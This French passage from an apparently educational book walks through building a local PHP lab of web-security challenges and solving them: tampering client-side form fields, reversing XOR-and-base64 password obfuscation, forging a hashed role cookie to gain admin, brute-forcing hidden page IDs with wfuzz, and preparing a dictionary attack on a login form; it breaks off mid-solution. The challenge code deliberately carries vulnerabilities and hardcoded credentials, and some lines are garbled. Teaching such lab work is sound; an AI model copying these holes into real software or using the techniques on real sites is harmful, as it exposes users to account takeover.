pourrons faire pointer la racine de chaque VirtualHost à des endroits différents. Nous
pouvons aussi jouer sur le port d’écoute. Ici, nous pourrions nous placer dans un cas plus
simple mais nous laissons cette possibilité pour plus tard. En effet, nous considérons que nous
sommes pour le moment seuls à écrire des épreuves. Effectuons les tâches suivantes :
Création d’un utilisateur web.
Création d’un dossier www dans notre dossier personnel.
Changement du « user » et du « group » du dossier www.
Changement des droits du dossier www pour que l’utilisateur web et le
serveur Apache puissent avoir les droits en lecture et écriture.
root@WEB1:/# adduser web
Adding user `web’ ...
Adding new group `web’ (1000) ...
Adding new user `web’ (1000) with group `web’ ...
The home directory `/home/web’ already exists. Not copying from
`/etc/skel’.
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for web
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
root@WEB1:/# mkdir /home/web/www
root@WEB1:/# chown web.www-data /home/web/www
root@WEB1:/# chmod ug+rw /home/web/www
root@WEB1:/# ls -l /home/web/ -l
total 4
drwxrwxr-x 2 web www-data 4096 Apr 8 07:19 www
root@WEB1:/#
Les épreuves seront orientées PHP. Nous avons fait ce choix car c’est statistiquement le
langage le plus utilisé pour la réalisation de sites web. Voici par exemple une statistique issue
du site W3Techs.com.
PHP est de plus open source et gratuit. Bien entendu, rien ne vous empêche d’installer un
serveur ASP, mais dans ce cas il faudra utiliser une machine virtuelle et non un conteneur, ce
qui vous ferait perdre les avantages d’OpenVZ.
Installons le module PHP, qui en est à sa version 5.3.3 au moment de l’écriture de ces lignes.
root@WEB1:/# aptitude install php5
The following NEW packages will be installed:
apache2-mpm-prefork{ab} libapache2-mod-php5{a} libonig2{a}
libqdbm14{a} php5 php5-cli{a} php5-common{a}
php5-suhosin{a}
0 packages upgraded, 8 newly installed, 0 to remove and 0 not
upgraded.
Need to get 6663 kB of archives. After unpacking 17.3 MB will be
used.
The following packages have unmet dependencies:
apache2-mpm-prefork: Conflicts: apache2-mpm which is a virtual
package.
apache2-mpm-worker: Conflicts: apache2-mpm which is a virtual
package.
Internal error: found 2 (choice -> promotion) mappings for a
single choice.
The following actions will resolve these dependencies:
Remove the following packages:
1) apache2-mpm-worker
Accept this solution? [Y/n/q/?] Y
Pour certaines épreuves web, nous allons devoir avoir un accès à une base de données. Nous
choisissons d’installer MySQL en version 5.1.
root@WEB1:/# aptitude install mysql-server-5.1
The following NEW packages will be installed:
libdbd-mysql-perl{a} libdbi-perl{a} libhtml-template-perl{a}
libmysqlclient16{a} libnet-daemon-perl{a}
libplrpc-perl{a} mysql-client-5.1{a} mysql-common{a}
mysql-server-5.1 mysql-server-core-5.1{a} psmisc{a}
0 packages upgraded, 11 newly installed, 0 to remove and 0 not
upgraded.
Need to get 23.4 MB of archives. After unpacking 55.7 MB will
be used.
Do you want to continue? [Y/n/?] Y
Lors de cette installation, il faudra définir le mot de passe pour l’utilisateur root de la base de
données.
Il ne nous reste plus qu’à installer quelques modules PHP qui nous seront utiles, comme le
module php-mysql pour l’accès à la base de données, et le module php-gd pour la
construction de CAPTCHA.
root@WEB1:/# apritude install php5-mysql
root@WEB1:/# aptitude install php5-gd
Voilà, nous disposons de tous les modules nécessaires. Pour que la racine de notre serveur
web pointe vers le dossier www du dossier personnel de l’utilisateur web, il faut modifier le
fichier de configuration que nous avons copié. Voici ce qu’il devient :
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /home/web/www
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /home/web/www>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
# Possible values include: debug, info, notice, warn,
# error, crit, alert, emerg.
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Il faut à présent activer cette nouvelle configuration, désactiver la configuration par défaut et
recharger la configuration.
root@WEB1:/# ls /etc/apache2/sites-enabled/
000-default
root@WEB1:/# a2ensite conf1
Enabling site conf1.
Run ’/etc/init.d/apache2 reload’ to activate new configuration!
root@WEB1:/# ls /etc/apache2/sites-enabled/
000-default conf1
root@WEB1:/# a2dissite default
Site default disabled.
Run ’/etc/init.d/apache2 reload’ to activate new configuration!
root@WEB1:/# /etc/init.d/apache2 reload
Reloading web server config: apache2.
root@WEB1:/# ls /etc/apache2/sites-enabled/
conf1
root@WEB1:/#
Afin de vérifier que tout est bien configuré, nous créons un fichier test.php affichant la
configuration du serveur dans le dossier www de l’utilisateur web.
root@WEB1:/# su web
web@WEB1:/$ cd /home/web/www/
web@WEB1:~/www$ echo "<?php phpinfo(); ?>" > test.php
web@WEB1:~/www$
Nous visualisons alors dans un navigateur le résultat.
Tout fonctionne parfaitement et nous allons pouvoir passer à l’écriture de failles de sécurité à
proprement parler. Nous allons les répartir en plusieurs catégories :
Le passage des contrôles côté client.
La découverte de pages par indexation automatique.
L’attaque de formulaires par dictionnaire.
L’injection SQL.
Le passage de CAPTCHA.
2. Des protections qui n’en sont pas
a. Création de la structure du site des épreuves
Il faudrait en principe construire un site web complet et y insérer des failles. Mais nous
n’allons pas commencer à tout faire. Nous pouvons nous appuyer sur des modèles libres et
open source. Vous en trouverez de très nombreux sur : http://www.oswd.org/
Vous êtes libre de choisir le modèle qui vous plaît. Ils sont en général tous construits de façon
similaire : une CSS et un fichier HTML exemple. Nous utiliserons pour les exemples le
modèle TerraFirma. Pour copier les fichiers de l’archive dans l’arborescence de notre serveur,
nous procédons de la manière suivante :
Nous téléchargeons l’archive depuis le site sur notre machine locale.
Nous copions l’archive directement de notre machine locale dans le dossier root de
notre serveur web en passant le serveur Proxmox.
Nous faisons une extraction de l’archive dans le dossier personnel de l’utilisateur web.
Nous faisons une copie de ce dossier dans le dossier www en le renommant epreuve1.
Sur la machine locale :
root@bt:~# scp Downloads/terrafirma.zip
[email protected]:/var/lib/vz/private/100/root
Sur le serveur web :
root@WEB1:/home/web# unzip /root/terrafirma.zip
Archive: /root/terrafirma.zip
inflating: terrafirma/default.css
creating: terrafirma/images/
inflating: terrafirma/images/a1.gif
inflating: terrafirma/images/a10.jpg
extracting: terrafirma/images/a16.gif
inflating: terrafirma/images/a18.gif
inflating: terrafirma/images/a22.gif
extracting: terrafirma/images/a26.gif
inflating: terrafirma/images/a33.gif
inflating: terrafirma/images/a36.gif
inflating: terrafirma/images/a38.gif
inflating: terrafirma/images/a41.gif
extracting: terrafirma/images/a47.gif
extracting: terrafirma/images/a50.gif
inflating: terrafirma/images/a8.gif
inflating: terrafirma/images/abg.gif
inflating: terrafirma/images/pic1.jpg
inflating: terrafirma/images/pic2.jpg
inflating: terrafirma/images/spacer.gif
inflating: terrafirma/images/upbg.gif
inflating: terrafirma/index.html
inflating: terrafirma/readme.txt
root@WEB1:/home/web# mv terrafirma/ www/epreuve1
Voici à quoi ressemble ce modèle :
Nous plaçons l’ensemble du code dans un dossier « epreuve1 » avant de commencer sa
modification. Nous entrons dans ce dossier.
Si nous parcourons le code source HTML de la page ci-dessus, nous constatons qu’elle est
bien décomposée en plusieurs parties, chacune étant entre deux balises <div> et avec un style
approprié. Nous pouvons changer le contenu de la page pour l’adapter à une situation que
nous voulons simuler, l’essentiel étant de pouvoir coder des failles de sécurité facilement.
Nous choisissons de modifier de façon permanente le titre, le menu et le contenu secondaire,
correspondant à la partie de la page délimitée par des balises <div> d’id
secondarycontent. Pour le contenu primaire délimité par des balises <div> d’id
primarycontent, nous appelons une fonction PHP afin de modifier celui-ci en fonction d’un
paramètre. Il faudra évidemment renommer le fichier index.html en index.php. Nous créons
un fichier fonctions.php dans lequel nous implémenterons une fonction qui va changer
l’affichage du centre de la page en fonction du paramètre qui lui est passé en argument. Cette
fonction devra aussi traiter les retours des formulaires. Il faudra ajouter un include de ce
fichier dans le fichier index.php. Nous modifions aussi le menu de la page en tenant compte
de cette organisation :
<div id="menu">
<ul>
<li><a href="index.php?m=1">Biographie</a></li>
<li><a href="index.php?m=2">Emacs</a></li>
<li><a href="index.php?m=3">Projet GNU</a></li>
<li><a href="index.php?m=4">Faits</a></li>
<li><a href="index.php?m=5">Inscription</a></li>
<li><a href="index.php?m=100">Aide</a></li>
</ul>
<div id="date">Le 15 avril 2013</div>
Nous avons décidé dans notre exemple d’écrire des pages sur Richard STALLMAN.
Voici le fichier fonctions.php. Vous remplacerez le contenu avec ce que vous voulez, bien
évidemment. Cette organisation est juste une suggestion et vous pouvez créer votre squelette
de site web comme bon vous semble. Mais dans la suite de l’écriture des épreuves, nous nous
appuierons sur la structure que nous vous avons présentée ici.
<?php
function page($type,$id)
{
if ( $type == "GET" )
{
//ici le traitement des retours GET
if ( $id == 1 )
{
// ***** page 1 *****
?>
<div class="header">
<h3>Biographie</h3>
<div class="date">20 avril
2013</div>
</div>
<div class="content">
<img src="images/pic1.jpg"
class="picA floatleft" alt="" />
<p>
Richard Matthew Stallman
(né à Manhattan, le 16 mars 1953), connu aussi sous les initiales
rms, est un programmeur et militant du logiciel
</p>
</div>
<div class="footer">
<ul>
<li
class="readmore"><a href="#">Lire la suite</a></li>
</ul>
</div>
<?php
}
}
elseif ($type=="POST")
{
//ici le traitement des retours POST
echo "à faire";
}
}
?>
Voici l’aspect que prend notre site en ayant aussi remplacé quelques images.
b. Implémentation de la première épreuve
Passons à l’écriture de l’épreuve. Dans un premier temps, nous créons le formulaire
d’inscription qui présente des limitations côté client.
<p>
<form action="index.php" id="form_rens" method="post">
<fieldset>
<legend> Fiche de renseignements</legend>
<p>
<label for="civilite">Civilité :
<select name="civilite" id="civilite">
<option value="mr" selected="selected">Monsieur</option>
<option value="mme">Madame</option>
<option value="melle">Mademoiselle</option>
</select>
</label>
</p>
<p><label for="nom">Nom : <input type="text" name="nom" id="nom"
maxlength="20"></label></p>
<p><label for="prenom">Prénom : <input type="text" name="prenom"
id="prenom" maxle$ngth="20"></label>$
<p><label for="email">Email : <input type="text" name="email"
id="email" maxlength="20"></label></p>
<input type="hidden" name="form" value="1">
<input type="hidden" name="droits" value="user">
<p><input type="submit" name="form1" value="Envoyer"></p>
</fieldset>
</form>
</p>
Nous plaçons ce code dans notre fichier fonctions.php pour qu’il soit envoyé lors de l’appel à
la page Inscription. Il faut ensuite traiter le retour du formulaire. Ce code doit vérifier que le
pirate arrive bien à modifier les éléments possibles du contrôle de type select, dépasser la
limite du nombre de caractères des champs et changer la valeur du champ caché.
elseif ($type=="POST")
{
if ( $id==1)
{
if (strlen($_POST[’nom’])>20 AND
strlen($_POST[’prenom’])>20 AND strlen($_POST[’email’])>20 AND
$_POST[’civilite’]=="$
{
echo "Bravo, vous venez de passer
les contrôles côté client.";
}
else
{
echo "Inscription validée
normalement";
}
}
}
}
Pour aider la personne qui teste ses compétences, vous pouvez fournir une aide. Le texte
pourrait être :
« Vous devez réussir à passer les limitations côté client. Pour cela, passez des champs de
grande longueur, passez votre civilité à "zzz" et devenez administrateur. »
La première épreuve est terminée, passons à la solution.
c. Solution de la première épreuve
Pour modifier les données d’un formulaire à la volée afin d’envoyer des données inattendues,
il existe plusieurs solutions, par exemple, l’utilisation d’un proxy entre votre navigateur et le
serveur. Nous aurons l’occasion d’utiliser cette technique dans d’autres épreuves. Nous vous
proposons donc ici l’altération des données à l’aide d’un module complémentaire de Firefox :
« Tamper Data ». Nous choisissons aussi d’utiliser une distribution BackTrack comme
système d’exploitation pour l’attaque de notre site web. En effet, celle-ci possède déjà un
grand nombre d’outils qui nous seront très utiles et que nous n’aurons plus à installer. Pour
installer Tamper Data, téléchargez celui-ci à l’adresse suivante :
https://addons.mozilla.org/fr/firefox/addon/tamper-data/
Vous voyez apparaître un nouvel item en bas du menu Outils de Firefox. Rendez-vous sur la
page du formulaire que nous devons affecter. Lancez Tamper Data.
Activez la capture des données en cliquant sur Start Tamper. Quand nous validons le
formulaire, une boîte de dialogue s’ouvre nous proposant de poster directement les données,
d’annuler le post ou de passer les données à Tamper. C’est cette dernière option que nous
choisissons.Voici l’écran que nous obtenons.
Nous constatons que nous pouvons modifier toutes les données qui vont être envoyées au
serveur, y compris les en-têtes. Nous remplissons les champs du formulaire comme présenté.
Nous cliquons sur OK, et voilà, l’épreuve est validée.
d. Implémentation de la deuxième épreuve
Comme pour toutes les épreuves, nous allons partir de l’épreuve 1 et modifier les éléments
nécessaires. Nous copions donc l’intégralité du dossier epreuve1 dans epreuve2 :
root@WEB1:/home/web/www# cp -R epreuve1 epreuve2
Une forme de contrôle qui est souvent utilisée côté client, et qui ne présente pas non plus un
gros intérêt en termes de sécurité, est l’utilisation de JavaScript. Par contre, ce langage permet
une bonne amélioration de l’ergonomie des sites et il est devenu pratiquement impossible de
naviguer en désactivant JavaScript.
Nous allons créer un script nommé crypt.js dans le dossier epreuve2 dont voici la partie la
plus intéressante :
var str_crypt, str_dcrypt, frm, pwd;
function cryptage(chaine,clef)
{
var i,j,ch_crypt,clef_c;
ch_crypt="";
j=0;
for (i=0; i<chaine.length; i++)
{
clef_c=clef.charCodeAt(j);
ch_crypt+=String.fromCharCode(chaine.charCodeAt(i)ˆclef_c);
j++;
if ( j == clef.length) {j=0;}
}
return ch_crypt;
}
function valform()
{
frm=document.forms[’formjs1’];
pwd=frm.elements[’pass’].value;
if (pwd.length<=1)
{
alert("Vous n’avez pas saisi un mot de passe assez long");
return false;
}
else
{
alert("chiffrement du mot de passe");
document.forms[’formjs1’].elements[’pass’].value=encodeBase64
(cryptage(pwd,’hnc-nsc-2013’));
return true;
}
}
Ce script doit aussi avoir deux autres fonctions qui sont encodeBase64 et decodeBase64.
Nous n’avons pas mis le code de ces fonctions pour des raisons de place. Vous pouvez trouver
beaucoup d’exemples sur Internet pour réaliser celles-ci, par exemple dans le code source de
la page suivante : http://decodebase64.com/
Il nous faut à présent modifier le fichier index.php pour inclure ce code JavaScript. Nous
ajoutons la ligne suivante dans la partie <head> :
<script language="javascript" type="text/javascript"
src="crypt.js"></script>
Modifions aussi le menu en remplaçant « Inscription » par « Identification ».
La dernière étape est la modification du fichier fonctions.php. Commençons par le code qui
doit être appelé quand nous cliquons sur le lien Identification.
<form onsubmit="return valform()" action="index.php" method="POST"
name="formjs1" id="formjs1"> <fieldset>
<legend> Identifiez-vous</legend>
Votre identifiant : <input type="text" name="login"><br>
Votre mot de passe : <input type="password" name="pass">
<input type="hidden" name="form" value="2">
<input type="submit" id="valider" name="validr"
value="valider">
</fieldset>
</form>
Voici ensuite le code nécessaire à la validation du formulaire :
echo "<h1>Identification</h1>";
$login=$_POST[’login’];
$mdp = base64_decode($_POST[’pass’]);
$clef="hnc-nsc-2013";
$ch_dcrypt="";
$j=0;
for ($i=0; $i<strlen($mdp); $i++)
{
$car = substr($mdp,$i,1);
$clef_c = substr($clef,$j,1);
$val_car = ord($car);
$val_clef_c = ord($clef_c);
$val = $val_car ˆ= $val_clef_c;
$ch_dcrypt = $ch_dcrypt.chr($val);
$j++;
if ( $j == strlen($clef)) {$j=0;}
}
if ($ch_dcrypt=="azerty" and $login=="user") {
echo "<p>Vous êtes identifié comme utilisateur avec des
droits limités</p>";
}
elseif ($ch_dcrypt=="XdcRF5UD" and $login=="admin") {
echo "<h4>BRAVO! Vous êtes identifié comme
administrateur.</h4>";
}
else {
echo "<p>Mauvaise identification.</p>";
}
Pour cette épreuve, nous supposons que nous disposons d’une capture des trames réseau nous
permettant d’avoir le contenu du champ « pass » qui est transmis par le formulaire au serveur.
Ce mot de passe est MaoAfyhGNmk=.
Il semble que celui-ci soit chiffré. L’objectif est de remonter au vrai mot de passe. Ces
informations pourront être données à l’utilisateur dans une page d’aide lui permettant d’avoir
des informations pour résoudre l’épreuve.
e. Solution de la deuxième épreuve
Si nous inspectons le code de validation du formulaire, nous remarquons que celui-ci n’envoie
pas les données directement mais passe par l’appel d’une fonction JavaScript nommée
valform().
Il faut alors comprendre ce que fait cette fonction. Elle récupère dans un premier temps les
champs du formulaire. Ensuite, la longueur du champ « pass » est vérifiée et si elle est
supérieure à 1, le mot de passe est transmis en POST au serveur en passant par deux fonctions
auparavant :
La fonction encodeBase64(), qui fait ce qu’elle indique, un encodage base64.
La fonction cryptage(), qui prend en arguments le mot de passe et un autre champ.
Il est alors nécessaire de s’intéresser de près à cette dernière fonction. Nous voyons en
étudiant le code qu’elle réalise un chiffrement classique avec un « OU exclusif » en faisant
une rotation circulaire sur le deuxième paramètre, qui est donc la clé de chiffrement. Ce type
de chiffrement est réversible et nous pouvons donc le repasser dans la même fonction pour le
déchiffrer.
Voici les opérations que nous allons faire avec le mot de passe chiffré :
Décoder la valeur encodée en base64.
Déchiffrer avec la même clé de chiffrement que dans le script JavaScript.
Réalisons ces opérations en PHP CLI. C’est un point intéressant de PHP, celui-ci peut aussi
s’exécuter en ligne de commande. Créons le fichier decrypt.php suivant :
<?php
$mdp = base64_decode(’MAoAfyhGNmk=’);
$clef="hnc-nsc-2013";
$ch_dcrypt="";
$j=0;
for ($i=0; $i<strlen($mdp); $i++)
{
$car = substr($mdp,$i,1);
$clef_c = substr($clef,$j,1);
$val_car = ord($car);
$val_clef_c = ord($clef_c);
$val = $val_car ˆ= $val_clef_c;
$ch_dcrypt = $ch_dcrypt.chr($val);
$j++;
if ( $j == strlen($clef)) {$j=0;}
}
echo $ch_dcrypt."\n";
?>
Lançons le script en ligne de commande.
root@WEB1:/home/web/www# php5 decrypt.php
XdcRF5UD
Voilà, nous obtenons le mot de passe déchiffré.
f. Implémentation de la troisième épreuve
Dans un premier temps, copions le code de l’épreuve 1 dans un dossier epreuve3.
root@WEB1:/home/web/www# cp -R epreuve1 epreuve3
Nous ajoutons à la première ligne du fichier index.php le code suivant afin de passer en mode
« session » :
<?php session_start(); ?>
Cette épreuve met en place un formulaire d’identification qui fait appel à des cookies. Voici le
code à ajouter dans le fichier fonctions.php à l’emplacement où vous souhaitez afficher le
formulaire.
// ***** page 5 identification *****
if (isset($_COOKIE[’user’])) {
if
( $_COOKIE[’user’]=="f4a77acf03e969bbb2b99fee35d137fb") {
echo "<h2>Bonjour Franck, bienvenue sur votre
compte.</h2>";
echo "<br />Pas de nouvelles informations pour le
moment.";
if (isset($_COOKIE[’d’]) and
$_COOKIE[’d’]==’1d8141b215f74524ddb3a4a21d55cc9c2141bd0c’) echo
"<p>Bravo, vous venez de passer administrateur, votre clef est :
<strong>aZD4jVuu1N</strong></p>";
}
elseif($_COOKIE[’user’]=="4ffe35db90d94c6041fb8ddf7b44df29")
{
echo "<h2>Bonjour Robert, bienvenue sur votre
compte.</h2>";
echo "<br />Pas de nouvelles informations pour le
moment.";
if (isset($_COOKIE[’d’]) and
$_COOKIE[’d’]==’1d8141b215f74524ddb3a4a21d55cc9c2141bd0c’) echo
"<p>Bravo, vous venez de passer administrateur, votre clef est :
<strong>aZD4jVuu1N</strong></p>";
}
else {
echo "<h2>Utilisateur inconnu!</h2>";
}
}
else {
?>
<div class="header">
<h3>Identification</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<form action="index.php" name="ident" id="ident"
method="post">
<fieldset>
<legend>Identifiez-vous</legend>
<p><label for="Identifiant">Identifiant :
<input type="text" name="login"
id="login" maxlength="20"></label></p>
<p><label for="Mot de passe">Mot de passe : <input
type="password" name="passwd" id="passwd"
maxlength="20"></label></p>
<input type="hidden" name="form" value="1">
<p><input type="submit" name="form1" value="Valider"></p>
</fieldset>
</p>
</div>
<?php
}
Il faut encore ajouter en fin de fichier le code qui fait la vérification de l’authentification de
l’utilisateur.
//*** validation des post ***
elseif ($type=="POST")
{
if ( $id==1)
{
if ($_POST[’login’]=="Franck" and
$_POST[’passwd’]=="Zd34s5") {
setcookie("user","f4a77acf03e969bbb2b99fee35d137fb");
setcookie("d","0b20cd7f98fde6a0c65a6ff68ffdfb627f32d176");
echo "<h1>Validation d’identification</h1>";
echo " <h2>Bonjour Franck, bienvenue sur votre compte.</h2>";
echo "<br />Pas de nouvelles informations pour le moment.";
}
}
L’épreuve est en place. Il faudra quand même indiquer à l’auditeur ou au logiciel d’audit
qu’un compte existe avec comme nom d’utilisateur « Franck » et comme mot de passe «
Zd34s5 », et que l’objectif est de passer administrateur du site. Passons à la solution.
g. Solution de la troisième épreuve
Nous commençons par analyser le comportement du site. Nous nous rendons sur la page où se
trouve le formulaire d’identification et nous saisissons le compte qui nous a été donné. Si
nous cherchons les cookies qui nous ont été envoyés, nous en trouvons 3. Cette analyse des
cookies peut être facilement faite avec une extension Firefox très intéressante : Firebug. Vous
la trouverez à cette adresse : https://addons.mozilla.org/fr/firefox/addon/firebug/
Après l’installation, un petit insecte apparaît en haut à droite dans votre navigateur. Si vous
cliquez dessus, Firebug s’active ouvrant une zone en bas du navigateur. Celle-ci présente un
menu dont un item est Cookies. Voici ce que nous obtenons en cliquant sur ce menu :
Nous voyons que le site nous a envoyé trois cookies : un de session et deux autres (user et d).
Nous remarquons que ceux-ci ont des longueurs différentes et qu’ils ressemblent à des
HASH. En effet, ils sont uniquement composés de chiffres et de lettres. Le cookie « user » a
une longueur de 32 caractères faisant penser à un HASH-MD5 et le cookie « d » une longueur
de 40 caractères correspondant à un HASH-SHA1. Nous allons tenter de remonter au contenu
en clair qu’ils pourraient indiquer. Il existe une multitude de sites avec des dictionnaires
immenses implémentés permettant de remonter au message en clair à partir de son HASH, par
exemple : http://www.stringfunction.com/sha1-decrypter.html
Nous avons très vite avec ces outils en ligne l’information que le cookie « d » contient le
HASH-SHA1 de « Utilisateur » et le cookie « user », le HASH-MD5 de « Franck ».
Visiblement, ces deux cookies mémorisent le nom d’utilisateur et les droits de celui-ci. Nous
calculons le HASH-SHA1 de « Administrateur » avec la commande suivante :
root@WEB1:/home/web/www# echo -n "Administrateur" | openssl dgst
-sha1
1d8141b215f74524ddb3a4a21d55cc9c2141bd0c
root@WEB1:/home/web/www#
Nous éditons le cookie « d » à l’aide de Firebug en faisant un clic droit dessus et changeons sa
valeur avec la nouvelle valeur que nous venons de calculer. Nous appelons de nouveau la
page Identification et constatons que nous sommes passés administrateurs.
Nous avons vu ici l’importance de ne pas stocker d’informations sensibles utilisées par le
serveur pour engager des actions. Les cookies doivent être utilisés avec prudence. Ceux-ci
étant du côté client, il est facile d’en modifier le contenu.
3. Des pages pas vraiment cachées
a. Implémentation de la quatrième épreuve
Commençons par copier, comme précédemment, l’épreuve 1 avec tous ses dossiers et fichiers
dans un dossier epreuve4.
root@WEB1:/home/web/www# cp -R epreuve1 epreuve4
L’implémentation de cette épreuve est assez simple : il faut juste ajouter un test dans le fichier
fonctions.php avec un ID qui n’est pas présent dans le menu. Nous ajoutons dans la fonction
page, en dessous du test GET, le code suivant :
elseif ( $id==184 )
{
// ***** page 184 *****
?>
<div class="header">
<h3>Bravo</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<p>Vous avez trouvé la bonne page. Votre clef est :
A2dfT3BBn2e</p>
</div>
<div class="footer">
<ul>
<li class="readmore"><a href="#">Lire la suite</a></li>
</ul>
</div>
<?php
}
Il faudra indiquer comme indice que le but est de trouver une page qui n’est pas visible par un
lien dans un menu.
b. Solution de la quatrième épreuve
Si nous observons la constitution de l’URL en navigant sur différentes pages, nous
remarquons qu’un paramètre « page » est passé. Celui-ci est de nature numérique.
Nous allons tenter de parcourir en automatique les pages en faisant changer cet ID de page de
façon incrémentale. Nous pourrions écrire un script Python ou PHP, mais comme nous
sommes sur BackTrack, nous disposons d’un outil qui le fait : wfuzz.
Nous nous rendons dans le dossier adéquat de l’installation BackTrack et lançons wfuzz sans
argument afin d’obtenir des informations sur les options possibles :
root@bt:/pentest/web/wfuzz# python wfuzz.py
********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************
Usage: wfuzz.py [options] <url>
Options:
-c : Output with colors
-v : Verbose information
-o printer : Output format by stderr
-p addr : use Proxy (ip:port or ip:port-ip:port-
ip:port)
-x type : use SOCK proxy (SOCKS4,SOCKS5)
-t N : Specify the number of threads (20 default)
-s N : Specify time delay between requests
(0 default)
-e <type> : List of available
encodings/payloads/iterators/printers
-R depth : Recursive path discovery
-I : Use HTTP HEAD instead of GET method (No
HTML body responses).
--follow : Follow redirections
-m iterator : Specify iterator (product by default)
-z payload : Specify payload
(type,parameters,encoding)
-V alltype : All parameters bruteforcing
(allvars and allpost). No need for FUZZ keyword.
-X : Payload within HTTP methods (ex: "FUZZ
HTTP/1.0"). No need for FUZZ keyword.
-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")
-H headers : Use headers
(ex:"Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")
--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ"
or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : Hide resposnes with the
specified[s] code/lines/words/chars (Use BBB for taking values
from baseline)
--hs regex : Hide responses with the specified regex
within the response
Keyword: FUZZ,FUZ2Z wherever you put these words wfuzz will
replace them by the payload selected.
Example: - wfuzz.py -c -z file,commons.txt --hc 404 -o html
http://www.site.com/FUZZ 2> res.html
- wfuzz.py -c -z file,users.txt -z file,pass.txt --hc 404
http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
- wfuzz.py -c -z range,1-10 --hc=BBB
http://www.site.com/FUZZ{something}
More examples in the README.
root@bt:/pentest/web/wfuzz#
L’option qui va nous intéresser est -z range,d-f. Effectuons un premier essai :
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-10
--hc=404 http://192.168.2.50/epreuve4/index.php?page=FUZZ
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)
********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************
Target: http://192.168.2.50/epreuve3/index.php?page=FUZZ
Payload type: range,1-10
Total requests: 10
==================================================================
ID Response Lines Word Chars Request
==================================================================
00001: C=200 109 L 296 W 3507 Ch " - 1"
00002: C=200 112 L 459 W 4702 Ch " - 2"
00003: C=200 115 L 685 W 6142 Ch " - 3"
00004: C=200 92 L 160 W 2105 Ch " - 5"
00005: C=200 111 L 267 W 3374 Ch " - 4"
00006: C=200 92 L 160 W 2105 Ch " - 6"
00007: C=200 92 L 160 W 2105 Ch " - 8"
00008: C=200 92 L 160 W 2105 Ch " - 7"
00010: C=200 92 L 160 W 2105 Ch " - 10"
00009: C=200 92 L 160 W 2105 Ch " - 9"
Nous observons que lorsque nous appelons une page qui n’existe pas, nous avons un retour
faisant 2 105 caractères. Nous allons donc masquer cette réponse pour alléger l’affichage et
étendre la plage balayée.
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-300
--hc=404 --hh=2105 http://192.168.2.50/epreuve4/index.php?page=FUZZ
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)
********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************
Target: http://192.168.2.50/epreuve4/index.php?page=FUZZ
Payload type: range,1-300
Total requests: 300
==================================================================
ID Response Lines Word Chars Request
==================================================================
00001: C=200 112 L 459 W 4702 Ch " - 2"
00002: C=200 109 L 296 W 3507 Ch " - 1"
00003: C=200 115 L 685 W 6142 Ch " - 3"
00004: C=200 111 L 267 W 3374 Ch " - 4"
00102: C=200 105 L 195 W 2852 Ch " - 100"
00180: C=200 105 L 192 W 2808 Ch " - 184"
root@bt:/pentest/web/wfuzz#
Voilà, nous venons de découvrir une page dont l’ID est 184 qui existe et n’est pas référencée
dans les menus.
4. Mieux vaut avoir un mot de passe fort
a. Implémentation de la cinquième épreuve
Comme pour toutes les autres épreuves, nous copions arborescence du dossier de l’épreuve 1
dans un dossier epreuve5. Nous plaçons dans le fichier fonctions.php une page qui construit
un formulaire d’identification.
elseif ( $id==5 )
{
// ***** page 5 identification *****
?>
<div class="header">
<h3>Identification</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
</p>
<form action="index.php" name="ident" id="ident" method="post">
<fieldset>
<legend>Identifiez-vous</legend>
<p><label for="Identifiant">Identifiant :
<input type="text" name="login"
id="login" maxlength="20"></label></p>
<p><label for="Mot de passe">Mot de passe : <input
type="password" name="passwd" id="passwd"
maxlength="20"></label></p>
<input type="hidden" name="form" value="1">
<p><input type="submit" name="form1"
value="Valider"></p>
</fieldset>
</p>
</div>
<?php
}
Il faut ensuite ajouter le test de validation de la bonne identité avec le bon mot de passe.
elseif ($type=="POST")
{
if ( $id==1)
{
if ($_POST[’login’]=="admin" and
$_POST[’passwd’]=="cynthia") {
echo "<h3>Validation d’identification</h3>";
echo "<p>Bravo votre clef est Dc7854PxF6</p>";
}
else {
echo "<p>Erreur d’identification</p>";
}
}
}
Le but de cette épreuve est de réussir à s’identifier en utilisant une attaque par dictionnaire sur
le formulaire.
b. Solution de la cinquième épreuve
Dans cette épreuve, nous nous trouvons face à un formulaire. Nous savons qu’il existe un
compte administrateur, dont généralement le nom d’utilisateur est « admin » ou «
administrateur ».
Nous voulons tester si cet administrateur n’a pas utilisé un mot de passe simple. Pour cela,
nous allons faire une attaque par dictionnaire. Mais avant, il faut bien connaître les champs de
notre formulaire. Nous pouvons bien entendu lire le code source de celui-ci, mais il existe des
outils qui le font pour nous et nous affichent l’organisation des champs de façon plus lisible.
L’extension « Web Developer » pour Firefox nous offre la possibilité d’afficher les détails des
formulaires. Vous pouvez trouver ce module ici :
https://addons.mozilla.org/fr/firefox/addon/web-developer/
Après installation, une nouvelle barre d’outils est présente. Nous cliquons sur View form
